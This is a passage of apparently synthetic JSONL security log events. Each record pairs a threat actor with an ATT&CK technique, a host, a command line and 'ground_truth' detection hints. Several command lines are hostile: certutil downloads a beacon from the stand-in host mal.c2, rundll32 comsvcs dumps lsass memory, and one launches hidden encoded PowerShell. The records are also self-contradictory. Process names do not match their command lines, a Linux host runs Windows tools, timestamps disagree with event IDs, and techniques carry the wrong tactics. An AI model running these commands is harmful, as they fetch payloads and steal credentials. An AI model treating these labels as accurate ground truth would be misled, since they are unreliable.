beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-05-10T11:53:41.000Z","user":{"name":"i-swrghxyy93cg","sid":"S-1-5-21-225772501-431412766-7295"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260224T014435000Z_0009393","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.36.25.68","name":"AZURE-VM-8KQV4Z1KU4","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9393APT29T1484.001"},"network":{"domain":"github.com","dst_ip":"1.54.173.205","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1929 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-02-23T01:29:12.000Z","user":{"name":"azuread\\m4uts5jd8w9f","sid":"S-1-5-21-820173528-415263142-1785"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Privilege Escalation","Defense Evasion","Persistence"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20260501T154628000Z_0009395","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.175.131.139","name":"APP-WEB-A81FQBGFEV","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9395Scattered SpiderT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.89.162.78","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-09-10T10:31:33.000Z","user":{"name":"CORP\\160ei05l8adv","sid":"S-1-5-21-441140925-810071815-8669"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access"],"technique_id":"T1570"},"event_id":"evt_fin7_20251017T213525000Z_0009397","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.106.163.71","name":"WIN-FIN-SRV-LUQM8AHWAC","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9397FIN7T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.182.100.39","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-12-15T02:45:19.000Z","user":{"name":"i-lntc00jnrqcp","sid":"S-1-5-21-885455804-694400510-3166"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20260620T115052000Z_0009399","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.204.181.123","name":"DB-ORACLE-HUYK8V7J65","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9399APT29T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.76.94.212","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-01-29T09:22:58.000Z","user":{"name":"CORP\\ievp1zi0tpy9","sid":"S-1-5-21-146204510-182842588-4323"}}